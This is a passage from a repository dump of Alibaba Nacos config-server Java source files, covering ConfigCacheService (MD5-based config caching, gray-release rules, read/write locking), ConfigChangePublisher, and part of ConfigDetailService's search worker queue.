ConcurrentHashMap<>(50);\n    }\n    \n    /**\n     * All of client records, adding or deleting.\n     */\n    static volatile ConcurrentMap<String, ClientRecord> clientRecords = new ConcurrentHashMap<>();\n}\n\n\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ConfigCacheService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigCache;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.model.ConfigCachePostProcessorDelegate;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.model.gray.GrayRule;\nimport com.alibaba.nacos.config.server.model.gray.GrayRuleManager;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.sys.env.EnvUtil;\n\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport static com.alibaba.nacos.api.common.Constants.CLIENT_IP;\nimport static com.alibaba.nacos.api.common.Constants.VIPSERVER_TAG;\nimport static com.alibaba.nacos.config.server.constant.Constants.ENCODE_UTF8;\nimport static com.alibaba.nacos.config.server.constant.Constants.NULL;\nimport static com.alibaba.nacos.config.server.constant.Constants.PERSIST_ENCODE;\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DEFAULT_LOG;\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DUMP_LOG;\nimport static com.alibaba.nacos.config.server.utils.LogUtil.FATAL_LOG;\n\n/**\n * Config service.\n *\n * @author Nacos\n */\npublic class ConfigCacheService {\n    \n    private static final String NO_SPACE_CN = \"设备上没有空间\";\n    \n    private static final String NO_SPACE_EN = \"No space left on device\";\n    \n    private static final String DISK_QUOTA_CN = \"超出磁盘限额\";\n    \n    private static final String DISK_QUOTA_EN = \"Disk quota exceeded\";\n    \n    /**\n     * groupKey -> cacheItem.\n     */\n    static final ConcurrentHashMap<String, CacheItem> CACHE = new ConcurrentHashMap<>();\n    \n    public static int groupCount() {\n        return CACHE.size();\n    }\n    \n    /**\n     * Save config file and update md5 value in cache.\n     *\n     * @param dataId         dataId string value.\n     * @param group          group string value.\n     * @param tenant         tenant string value.\n     * @param content        content string value.\n     * @param md5            md5 of persist.\n     * @param lastModifiedTs lastModifiedTs.\n     * @param type           file type.\n     * @return dumpChange success or not.\n     */\n    public static boolean dumpWithMd5(String dataId, String group, String tenant, String content, String md5,\n            long lastModifiedTs, String type, String encryptedDataKey) {\n        String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        CacheItem ci = makeSure(groupKey, encryptedDataKey);\n        ci.setType(type);\n        final int lockResult = tryWriteLock(groupKey);\n        \n        if (lockResult < 0) {\n            DUMP_LOG.warn(\"[dump-error] write lock failed. {}\", groupKey);\n            return false;\n        }\n        \n        try {\n            \n            //check timestamp\n            boolean lastModifiedOutDated = lastModifiedTs < ConfigCacheService.getLastModifiedTs(groupKey);\n            if (lastModifiedOutDated) {\n                DUMP_LOG.warn(\"[dump-ignore] timestamp is outdated,groupKey={}\", groupKey);\n                return true;\n            }\n            \n            boolean newLastModified = lastModifiedTs > ConfigCacheService.getLastModifiedTs(groupKey);\n            \n            if (md5 == null) {\n                md5 = MD5Utils.md5Hex(content, PERSIST_ENCODE);\n            }\n            \n            //check md5 & update local disk cache.\n            String localContentMd5 = ConfigCacheService.getContentMd5(groupKey);\n            boolean md5Changed = !md5.equals(localContentMd5);\n            if (md5Changed) {\n                DUMP_LOG.info(\"[dump] md5 changed, save to disk cache ,groupKey={}, newMd5={},oldMd5={}\", groupKey, md5,\n                        localContentMd5);\n                ConfigDiskServiceFactory.getInstance().saveToDisk(dataId, group, tenant, content);\n            } else {\n                DUMP_LOG.warn(\"[dump-ignore] ignore to save to disk cache. md5 consistent,groupKey={}, md5={}\",\n                        groupKey, md5);\n            }\n            \n            //check  md5 and timestamp & update local jvm cache.\n            if (md5Changed) {\n                DUMP_LOG.info(\n                        \"[dump] md5 changed, update md5 and timestamp in jvm cache ,groupKey={}, newMd5={},oldMd5={},lastModifiedTs={}\",\n                        groupKey, md5, localContentMd5, lastModifiedTs);\n                updateMd5(groupKey, md5, content, lastModifiedTs, encryptedDataKey);\n            } else if (newLastModified) {\n                DUMP_LOG.info(\n                        \"[dump] md5 consistent ,timestamp changed, update timestamp only in jvm cache ,groupKey={},lastModifiedTs={}\",\n                        groupKey, lastModifiedTs);\n                updateTimeStamp(groupKey, lastModifiedTs, encryptedDataKey);\n            } else {\n                DUMP_LOG.warn(\n                        \"[dump-ignore] ignore to save to jvm cache. md5 consistent and no new timestamp changed.groupKey={}\",\n                        groupKey);\n            }\n            \n            return true;\n        } catch (IOException ioe) {\n            DUMP_LOG.error(\"[dump-exception] save disk error. \" + groupKey + \", \" + ioe);\n            if (ioe.getMessage() != null) {\n                String errMsg = ioe.getMessage();\n                if (errMsg.contains(NO_SPACE_CN) || errMsg.contains(NO_SPACE_EN) || errMsg.contains(DISK_QUOTA_CN)\n                        || errMsg.contains(DISK_QUOTA_EN)) {\n                    // Protect from disk full.\n                    FATAL_LOG.error(\"Local Disk Full,Exit\", ioe);\n                    EnvUtil.systemExit();\n                }\n            }\n            return false;\n        } finally {\n            releaseWriteLock(groupKey);\n        }\n        \n    }\n    \n    /**\n     * Save config file and update md5 value in cache.\n     *\n     * @param dataId           dataId string value.\n     * @param group            group string value.\n     * @param tenant           tenant string value.\n     * @param content          content string value.\n     * @param lastModifiedTs   lastModifiedTs.\n     * @param type             file type.\n     * @param encryptedDataKey encryptedDataKey.\n     * @return dumpChange success or not.\n     */\n    public static boolean dump(String dataId, String group, String tenant, String content, long lastModifiedTs,\n            String type, String encryptedDataKey) {\n        return dumpWithMd5(dataId, group, tenant, content, null, lastModifiedTs, type, encryptedDataKey);\n    }\n    \n    /**\n     * Save gray config file and update md5 value in cache.\n     *\n     * @param dataId         dataId string value.\n     * @param group          group string value.\n     * @param tenant         tenant string value.\n     * @param grayName       grayName string value.\n     * @param grayRule       grayRule string value.\n     * @param content        content string value.\n     * @param lastModifiedTs lastModifiedTs.\n     * @return dumpChange success or not.\n     */\n    public static boolean dumpGray(String dataId, String group, String tenant, String grayName, String grayRule,\n            String content, long lastModifiedTs, String encryptedDataKey) {\n        final String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        \n        makeSure(groupKey, null);\n        final int lockResult = tryWriteLock(groupKey);\n        \n        if (lockResult < 0) {\n            DUMP_LOG.warn(\"[dump-gray-error] write lock failed. {}\", groupKey);\n            return false;\n        }\n        \n        try {\n            \n            //check timestamp\n            long localGrayLastModifiedTs = ConfigCacheService.getGrayLastModifiedTs(groupKey, grayName);\n            \n            boolean timestampOutdated = lastModifiedTs < localGrayLastModifiedTs;\n            if (timestampOutdated) {\n                DUMP_LOG.warn(\"[dump-gray-ignore] timestamp is outdated,groupKey={}\", groupKey);\n                return true;\n            }\n            \n            boolean timestampChanged = lastModifiedTs > localGrayLastModifiedTs;\n            \n            final String md5 = MD5Utils.md5Hex(content, ENCODE_UTF8);\n            \n            String localContentGrayMd5 = ConfigCacheService.getContentGrayMd5(groupKey, grayName);\n            boolean md5Changed = !md5.equals(localContentGrayMd5);\n            \n            GrayRule localGrayRule = ConfigCacheService.getGrayRule(groupKey, grayName);\n            GrayRule grayRuleNew = GrayRuleManager.constructGrayRule(\n                    GrayRuleManager.deserializeConfigGrayPersistInfo(grayRule));\n            if (grayRuleNew == null) {\n                DUMP_LOG.warn(\"[dump-gray-exception] . \" + groupKey + \",  unknown gray rule for  gray name\" + grayName);\n                return false;\n            }\n            \n            boolean grayRuleChanged = !grayRuleNew.equals(localGrayRule);\n            \n            if (md5Changed) {\n                DUMP_LOG.info(\n                        \"[dump-gray] md5 changed, update local jvm cache& local disk cache, groupKey={},grayName={}, \"\n                                + \"newMd5={},oldMd5={}, newGrayRule={}, oldGrayRule={},lastModifiedTs={}\", groupKey,\n                        grayName, md5, localContentGrayMd5, grayRule, localGrayRule, lastModifiedTs);\n                updateGrayMd5(groupKey, grayName, grayRule, md5, content, lastModifiedTs, encryptedDataKey);\n                ConfigDiskServiceFactory.getInstance().saveGrayToDisk(dataId, group, tenant, grayName, content);\n                \n            } else if (grayRuleChanged) {\n                DUMP_LOG.info(\"[dump-gray] gray rule changed, update local jvm cache, groupKey={},grayName={}, \"\n                                + \"newMd5={},oldMd5={}, newGrayRule={}, oldGrayRule={},lastModifiedTs={}\", groupKey, grayName,\n                        md5, localContentGrayMd5, grayRule, localGrayRule, lastModifiedTs);\n                updateGrayRule(groupKey, grayName, grayRule, lastModifiedTs, encryptedDataKey);\n            } else if (timestampChanged) {\n                DUMP_LOG.info(\n                        \"[dump-gray] timestamp changed, update last modified in local jvm cache, groupKey={},grayName={},\"\n                                + \"grayLastModifiedTs={},oldgrayLastModifiedTs={}\", groupKey, grayName, lastModifiedTs,\n                        localGrayLastModifiedTs);\n                updateGrayTimeStamp(groupKey, grayName, lastModifiedTs);\n                \n            } else {\n                DUMP_LOG.warn(\"[dump-gray-ignore] md5 & timestamp not changed. groupKey={},grayName={}\", groupKey,\n                        grayName);\n            }\n            return true;\n        } catch (IOException ioe) {\n            DUMP_LOG.error(\"[dump-gray-exception] save disk error. \" + groupKey + \", \" + ioe.toString(), ioe);\n            return false;\n        } finally {\n            releaseWriteLock(groupKey);\n        }\n    }\n    \n    /**\n     * Delete gray config file, and delete cache.\n     *\n     * @param dataId   dataId string value.\n     * @param group    group string value.\n     * @param tenant   tenant string value.\n     * @param grayName grayName string value.\n     * @return remove success or not.\n     */\n    public static boolean removeGray(String dataId, String group, String tenant, String grayName) {\n        final String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        final int lockResult = tryWriteLock(groupKey);\n        \n        // If data is non-existent.\n        if (0 == lockResult) {\n            DUMP_LOG.info(\"[remove-ok] {} not exist.\", groupKey);\n            return true;\n        }\n        \n        // try to lock failed\n        if (lockResult < 0) {\n            DUMP_LOG.warn(\"[remove-error] write lock failed. {}\", groupKey);\n            return false;\n        }\n        \n        try {\n            DUMP_LOG.info(\"[remove-gray-ok] remove gray in local disk cache,grayName={},groupKey={} \", grayName,\n                    groupKey);\n            ConfigDiskServiceFactory.getInstance().removeConfigInfo4Gray(dataId, group, tenant, grayName);\n            \n            CacheItem ci = CACHE.get(groupKey);\n            if (ci.getConfigCacheGray() != null) {\n                ci.getConfigCacheGray().remove(grayName);\n                if (ci.getConfigCacheGray().isEmpty()) {\n                    ci.clearConfigGrays();\n                } else {\n                    ci.sortConfigGray();\n                }\n            }\n            \n            DUMP_LOG.info(\"[remove-gray-ok] remove gray in local jvm cache,grayName={},groupKey={} \", grayName,\n                    groupKey);\n            \n            NotifyCenter.publishEvent(new LocalDataChangeEvent(groupKey));\n            return true;\n        } finally {\n            releaseWriteLock(groupKey);\n        }\n    }\n    \n    /**\n     * Delete config file, and delete cache.\n     *\n     * @param dataId dataId string value.\n     * @param group  group string value.\n     * @param tenant tenant string value.\n     * @return remove success or not.\n     */\n    public static boolean remove(String dataId, String group, String tenant) {\n        final String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        final int lockResult = tryWriteLock(groupKey);\n        \n        // If data is non-existent.\n        if (0 == lockResult) {\n            DUMP_LOG.info(\"[remove-ok] {} not exist.\", groupKey);\n            return true;\n        }\n        \n        // try to lock failed\n        if (lockResult < 0) {\n            DUMP_LOG.warn(\"[remove-error] write lock failed. {}\", groupKey);\n            return false;\n        }\n        \n        try {\n            DUMP_LOG.info(\"[dump] remove  local disk cache,groupKey={} \", groupKey);\n            ConfigDiskServiceFactory.getInstance().removeConfigInfo(dataId, group, tenant);\n            \n            CACHE.remove(groupKey);\n            DUMP_LOG.info(\"[dump] remove  local jvm cache,groupKey={} \", groupKey);\n            \n            NotifyCenter.publishEvent(new LocalDataChangeEvent(groupKey));\n            \n            return true;\n        } finally {\n            releaseWriteLock(groupKey);\n        }\n    }\n    \n    /**\n     * Update md5 value.\n     *\n     * @param groupKey         the group key\n     * @param md5              the md 5\n     * @param content          the content\n     * @param lastModifiedTs   the last modified ts\n     * @param encryptedDataKey the encrypted data key\n     */\n    public static void updateMd5(String groupKey, String md5, String content, long lastModifiedTs, String encryptedDataKey) {\n        CacheItem cache = makeSure(groupKey, encryptedDataKey);\n        ConfigCache configCache = cache.getConfigCache();\n        if (configCache.getMd5() == null || !configCache.getMd5().equals(md5)) {\n            configCache.setMd5(md5);\n            configCache.setLastModifiedTs(lastModifiedTs);\n            configCache.setEncryptedDataKey(encryptedDataKey);\n            ConfigCachePostProcessorDelegate.getInstance().postProcess(configCache, content);\n            NotifyCenter.publishEvent(new LocalDataChangeEvent(groupKey));\n        }\n    }\n    \n    /**\n     * Update gray md5 value.\n     *\n     * @param groupKey         the group key\n     * @param grayName         the gray name\n     * @param grayRule         the gray rule\n     * @param md5              the md 5\n     * @param content          the content\n     * @param lastModifiedTs   the last modified ts\n     * @param encryptedDataKey the encrypted data key\n     */\n    public static void updateGrayMd5(String groupKey, String grayName, String grayRule, String md5, String content,\n            long lastModifiedTs, String encryptedDataKey) {\n        CacheItem cache = makeSure(groupKey, null);\n        cache.initConfigGrayIfEmpty(grayName);\n        ConfigCacheGray configCache = cache.getConfigCacheGray().get(grayName);\n        configCache.setMd5(md5);\n        configCache.setLastModifiedTs(lastModifiedTs);\n        configCache.setEncryptedDataKey(encryptedDataKey);\n        configCache.resetGrayRule(grayRule);\n        cache.sortConfigGray();\n        ConfigCachePostProcessorDelegate.getInstance().postProcess(configCache, content);\n        NotifyCenter.publishEvent(new LocalDataChangeEvent(groupKey));\n    }\n    \n    /**\n     * Get and return content md5 value from cache. Empty string represents no data.\n     */\n    public static String getContentMd5(String groupKey) {\n        return getContentMd5(groupKey, null, null);\n    }\n    \n    public static String getContentMd5(String groupKey, String ip, String tag) {\n        return getContentMd5(groupKey, ip, tag, null);\n    }\n    \n    public static String getContentMd5(String groupKey, String ip, String tag, Map<String, String> connLabels) {\n        CacheItem item = CACHE.get(groupKey);\n        if (item == null) {\n            return NULL;\n        }\n        if (connLabels == null && StringUtils.isNotBlank(ip)) {\n            connLabels = new HashMap<>(4);\n        }\n        if (connLabels == null && StringUtils.isNotBlank(tag)) {\n            connLabels = new HashMap<>(4);\n        }\n        \n        if (StringUtils.isNotBlank(ip)) {\n            connLabels.put(CLIENT_IP, ip);\n        }\n        if (StringUtils.isNotBlank(tag)) {\n            connLabels.put(VIPSERVER_TAG, tag);\n        }\n        if (item.getSortConfigGrays() != null && connLabels != null && !connLabels.isEmpty()) {\n            for (ConfigCacheGray entry : item.getSortConfigGrays()) {\n                if (entry.match(connLabels)) {\n                    return entry.getMd5();\n                }\n            }\n        }\n        String md5 = item.getConfigCache().getMd5();\n        return md5 == null ? NULL : md5;\n    }\n    \n    private static void updateGrayRule(String groupKey, String grayName, String grayRule, long lastModifiedTs,\n            String encryptedDataKey) {\n        CacheItem cache = makeSure(groupKey, null);\n        cache.initConfigGrayIfEmpty(grayName);\n        ConfigCacheGray configCache = cache.getConfigCacheGray().get(grayName);\n        configCache.setLastModifiedTs(lastModifiedTs);\n        configCache.setEncryptedDataKey(encryptedDataKey);\n        configCache.resetGrayRule(grayRule);\n        cache.sortConfigGray();\n        NotifyCenter.publishEvent(new LocalDataChangeEvent(groupKey));\n    }\n    \n    /**\n     * Get and return gray md5 value from cache. Empty string represents no data.\n     *\n     * @param groupKey groupKey string value.\n     * @param grayName grayName string value.\n     * @return Content Tag Md5 value.\n     */\n    public static String getContentGrayMd5(String groupKey, String grayName) {\n        CacheItem item = CACHE.get(groupKey);\n        if (item == null || item.getConfigCacheGray() == null || !item.getConfigCacheGray().containsKey(grayName)) {\n            return NULL;\n        }\n        return item.getConfigCacheGray().get(grayName).getMd5();\n    }\n    \n    public static long getGrayLastModifiedTs(String groupKey, String grayName) {\n        CacheItem item = CACHE.get(groupKey);\n        if (item.getConfigCacheGray() == null || !item.getConfigCacheGray().containsKey(grayName)) {\n            return 0;\n        }\n        ConfigCache configCacheGray = item.getConfigCacheGray().get(grayName);\n        \n        return (null != configCacheGray) ? configCacheGray.getLastModifiedTs() : 0;\n    }\n    \n    public static GrayRule getGrayRule(String groupKey, String grayName) {\n        CacheItem item = CACHE.get(groupKey);\n        if (item == null || item.getConfigCacheGray() == null || !item.getConfigCacheGray().containsKey(grayName)) {\n            return null;\n        }\n        return item.getConfigCacheGray().get(grayName).getGrayRule();\n    }\n    \n    /**\n     * Get and return content cache.\n     *\n     * @param groupKey groupKey string value.\n     * @return CacheItem.\n     */\n    public static CacheItem getContentCache(String groupKey) {\n        return CACHE.get(groupKey);\n    }\n    \n    public static long getLastModifiedTs(String groupKey) {\n        CacheItem item = CACHE.get(groupKey);\n        return (null != item) ? item.getConfigCache().getLastModifiedTs() : 0L;\n    }\n    \n    /**\n     * update gray timestamp.\n     *\n     * @param groupKey       groupKey.\n     * @param grayName       grayName.\n     * @param lastModifiedTs lastModifiedTs.\n     */\n    private static void updateGrayTimeStamp(String groupKey, String grayName, long lastModifiedTs) {\n        CacheItem cache = makeSure(groupKey, null);\n        cache.initConfigGrayIfEmpty(grayName);\n        cache.getConfigCacheGray().get(grayName).setLastModifiedTs(lastModifiedTs);\n    }\n    \n    public static boolean isUptodate(String groupKey, String md5) {\n        return isUptodate(groupKey, md5, null, null);\n    }\n    \n    public static boolean isUptodate(String groupKey, String md5, String ip, String tag) {\n        return isUptodate(groupKey, md5, ip, tag, null);\n    }\n    \n    public static boolean isUptodate(String groupKey, String md5, String ip, String tag,\n            Map<String, String> appLabels) {\n        String serverMd5 = ConfigCacheService.getContentMd5(groupKey, ip, tag, appLabels);\n        return StringUtils.equals(md5, serverMd5);\n    }\n    \n    /**\n     * Try to add read lock. If it succeeded, then it can call {@link #releaseWriteLock(String)}.And it won't call if\n     * failed.\n     *\n     * @param groupKey groupKey string value.\n     * @return 0 - No data and failed. Positive number - lock succeeded. Negative number - lock failed。\n     */\n    public static int tryReadLock(String groupKey) {\n        CacheItem groupItem = CACHE.get(groupKey);\n        int result = (null == groupItem) ? 0 : (groupItem.getRwLock().tryReadLock() ? 1 : -1);\n        if (result < 0) {\n            DEFAULT_LOG.warn(\"[read-lock] failed, {}, {}\", result, groupKey);\n        }\n        return result;\n    }\n    \n    /**\n     * Release readLock.\n     *\n     * @param groupKey groupKey string value.\n     */\n    public static void releaseReadLock(String groupKey) {\n        CacheItem item = CACHE.get(groupKey);\n        if (null != item) {\n            item.getRwLock().releaseReadLock();\n        }\n    }\n    \n    /**\n     * Try to add write lock. If it succeeded, then it can call {@link #releaseWriteLock(String)}.And it won't call if\n     * failed.\n     *\n     * @param groupKey groupKey string value.\n     * @return 0 - No data and failed. Positive number 0 - Success. Negative number - lock failed。\n     */\n    static int tryWriteLock(String groupKey) {\n        CacheItem groupItem = CACHE.get(groupKey);\n        int result = (null == groupItem) ? 0 : (groupItem.getRwLock().tryWriteLock() ? 1 : -1);\n        if (result < 0) {\n            DEFAULT_LOG.warn(\"[write-lock] failed, {}, {}\", result, groupKey);\n        }\n        return result;\n    }\n    \n    static void releaseWriteLock(String groupKey) {\n        CacheItem groupItem = CACHE.get(groupKey);\n        if (null != groupItem) {\n            groupItem.getRwLock().releaseWriteLock();\n        }\n    }\n    \n    static CacheItem makeSure(final String groupKey, final String encryptedDataKey) {\n        CacheItem item = CACHE.get(groupKey);\n        if (null != item) {\n            return item;\n        }\n        CacheItem tmp = new CacheItem(groupKey, encryptedDataKey);\n        item = CACHE.putIfAbsent(groupKey, tmp);\n        return (null == item) ? tmp : item;\n    }\n    \n    /**\n     * update time stamp.\n     *\n     * @param groupKey         groupKey.\n     * @param lastModifiedTs   lastModifiedTs.\n     * @param encryptedDataKey encryptedDataKey.\n     */\n    private static void updateTimeStamp(String groupKey, long lastModifiedTs, String encryptedDataKey) {\n        CacheItem cache = makeSure(groupKey, encryptedDataKey);\n        cache.getConfigCache().setLastModifiedTs(lastModifiedTs);\n    }\n    \n    private static final int TRY_GET_LOCK_TIMES = 9;\n    \n    /**\n     * try config read lock with spin of try get lock times.\n     *\n     * @param groupKey group key of config.\n     * @return 0 - No data and failed. Positive number - lock succeeded. Negative number - lock failed.\n     */\n    public static int tryConfigReadLock(String groupKey) {\n        \n        // Lock failed by default.\n        int lockResult = -1;\n        \n        // Try to get lock times, max value: 10;\n        for (int i = TRY_GET_LOCK_TIMES; i >= 0; --i) {\n            lockResult = ConfigCacheService.tryReadLock(groupKey);\n            \n            // The data is non-existent.\n            if (0 == lockResult) {\n                break;\n            }\n            \n            // Success\n            if (lockResult > 0) {\n                break;\n            }\n            \n            // Retry.\n            if (i > 0) {\n                try {\n                    Thread.sleep(1);\n                } catch (Exception e) {\n                    LogUtil.PULL_CHECK_LOG.error(\"An Exception occurred while thread sleep\", e);\n                }\n            }\n        }\n        \n        return lockResult;\n    }\n}\n\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ConfigChangePublisher.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.persistence.configuration.DatasourceConfiguration;\nimport com.alibaba.nacos.sys.env.EnvUtil;\n\n/**\n * ConfigChangePublisher.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class ConfigChangePublisher {\n    \n    /**\n     * Notify ConfigChange.\n     *\n     * @param event ConfigDataChangeEvent instance.\n     */\n    public static void notifyConfigChange(ConfigDataChangeEvent event) {\n        if (DatasourceConfiguration.isEmbeddedStorage() && !EnvUtil.getStandaloneMode()) {\n            return;\n        }\n        NotifyCenter.publishEvent(event);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ConfigDetailService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.constant.PropertiesConstant;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Map;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\n\n/**\n * config detail service.\n *\n * @author 985492783@qq.com\n * @date 2023/2/9 5:25\n */\n@Service\npublic class ConfigDetailService {\n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigDetailService.class);\n    \n    private final ConfigInfoPersistService configInfoPersistService;\n    \n    private BlockingQueue<SearchEvent> eventLinkedBlockingQueue;\n    \n    private ScheduledExecutorService clientEventExecutor;\n    \n    /**\n     * the max_capacity of eventLinkedBlockingQueue may be controlled by the properties {@link PropertiesConstant#SEARCH_MAX_CAPACITY}.\n     */\n    private static int maxCapacity = 4;\n    \n    private static final int MAX_CAPACITY = 32;\n    \n    /**\n     * the wait_timeout of search config business may be controlled by the properties {@link PropertiesConstant#SEARCH_WAIT_TIMEOUT}.\n     */\n    private static long waitTimeout = 8000L;\n    \n    /**\n     * the max_thread of clientEventExecutor may be controlled by the properties {@link PropertiesConstant#SEARCH_MAX_THREAD}.\n     */\n    private static int maxThread = 2;\n    \n    private static final int MAX_THREAD = 16;\n    \n    public ConfigDetailService(ConfigInfoPersistService configInfoPersistService) {\n        this.configInfoPersistService = configInfoPersistService;\n        loadSetting();\n        initWorker();\n    }\n    \n    private void loadSetting() {\n        setMaxCapacity(Math.min(Integer.parseInt(EnvUtil.getProperty(PropertiesConstant.SEARCH_MAX_CAPACITY,\n                String.valueOf(getMaxCapacity()))), MAX_CAPACITY));\n        setMaxThread(Math.min(Integer.parseInt(EnvUtil.getProperty(PropertiesConstant.SEARCH_MAX_THREAD,\n                String.valueOf(getMaxThread()))), MAX_THREAD));\n        setWaitTimeout(Integer.parseInt(EnvUtil.getProperty(PropertiesConstant.SEARCH_WAIT_TIMEOUT,\n                String.valueOf(getWaitTimeout()))));\n    }\n    \n    /**\n     * init worker thread.\n     */\n    private void initWorker() {\n        this.eventLinkedBlockingQueue = new LinkedBlockingQueue<>(maxCapacity);\n    \n        clientEventExecutor = new ScheduledThreadPoolExecutor(maxThread,\n                new NameThreadFactory(\"com.alibaba.nacos.config.search.worker\"));\n        \n        for (int i = 0; i < maxThread; i++) {\n            clientEventExecutor.submit(() -> {\n                while (true) {\n                    try {\n                        SearchEvent event = eventLinkedBlockingQueue.take();\n                        Page<ConfigInfo> result = null;\n                        if (Constants.CONFIG_SEARCH_BLUR.equals(event.getType())) {\n                            result = configInfoPersistService.findConfigInfoLike4Page(event.pageNo, event.pageSize,\n                                    event.dataId, event.group, event.tenant, event.configAdvanceInfo);\n                        } else {\n                            result = configInfoPersistService.findConfigInfo4Page(event.pageNo, event.pageSize,\n                                    event.dataId, event.group, event.tenant, event.configAdvanceInfo);\n                        }\n                        synchronized (event) {\n                            event.setResponse(result);\n                            event.notifyAll();\n                        }\n                    } catch (Exception e) {\n                        LOGGER.error(\"catch search worker error: {}\", e.getMessage());\n                    }\n                }\n            });\n        }\n    }\n    \n    /**\n     * block thread and use workerThread to search config.\n     */\n    public Page<ConfigInfo> findConfigInfoPage(String search, int pageNo, int pageSize, String dataId, String group,\n            String tenant, Map<String, Object> configAdvanceInfo) throws NacosRuntimeException {\n        SearchEvent searchEvent = new SearchEvent(search, pageNo, pageSize, dataId, group, tenant,\n                configAdvanceInfo);\n        Page<ConfigInfo> result = null;\n        try {\n            synchronized (searchEvent) {\n                boolean offer = eventLinkedBlockingQueue.offer(searchEvent);\n                if (!offer) {\n                    throw new NacosRuntimeException(503, \"server limit match.\");\n                }\n                searchEvent.wait(waitTimeout);\n                result = searchEvent.getResponse();\n            }\n        } catch (InterruptedException e) {\n            LOGGER.error(\"get config detail timeout: {}.\", e.getMessage());\n            throw new NacosRuntimeException(503, \"server limit match.\");\n        }\n        if (result == null) {\n            throw new NacosRuntimeException(503, \"server limit match.\");\n        }\n        return result;\n    }\n    \n    public static int getMaxCapacity() {\n        return maxCapacity;\n    }\n    \n    public static void setMaxCapacity(int maxCapacity) {\n        ConfigDetailService.maxCapacity = maxCapacity;\n    }\n    \n    public static long getWaitTimeout() {\n        return waitTimeout;\n    }\n    \n    public static void setWaitTimeout(long waitTimeout) {\n        ConfigDetailService.waitTimeout = waitTimeout;\n    }\n    \n    public static int getMaxThread() {\n        return maxThread;\n    }\n    \n    public static void setMaxThread(int maxThread) {\n        ConfigDetailService.maxThread = maxThread;\n    }\n    \n    public static class SearchEvent {\n        private String type;\n        \n        private int pageNo;\n        \n        private int pageSize;\n        \n        private String dataId;\n        \n        private String group;\n        \n        private String tenant;\n        \n        private Map<String, Object> configAdvanceInfo;\n        \n        private Page<ConfigInfo> response;\n    \n        public SearchEvent() {\n        }\n    \n        public SearchEvent(String type, int pageNo, int pageSize, String dataId, String group, String tenant,\n                Map<String, Object> configAdvanceInfo) {\n            this.type = type;\n            this.pageNo = pageNo;\n            this.pageSize = pageSize;\n            this.dataId = dataId;\n            this.group = group;\n            this.tenant = tenant;\n            this.configAdvanceInfo = configAdvanceInfo;\n        }\n    \n        public String getType() {\n            return type;\n        }\n    \n        public int getPageNo() {\n            return pageNo;\n        }\n    \n        public int getPageSize() {\n            return pageSize;\n        }\n    \n        public String getDataId() {\n            return dataId;\n        }\n    \n        public String getGroup() {\n            return group;\n        }\n    \n        public String getTenant() {\n            return 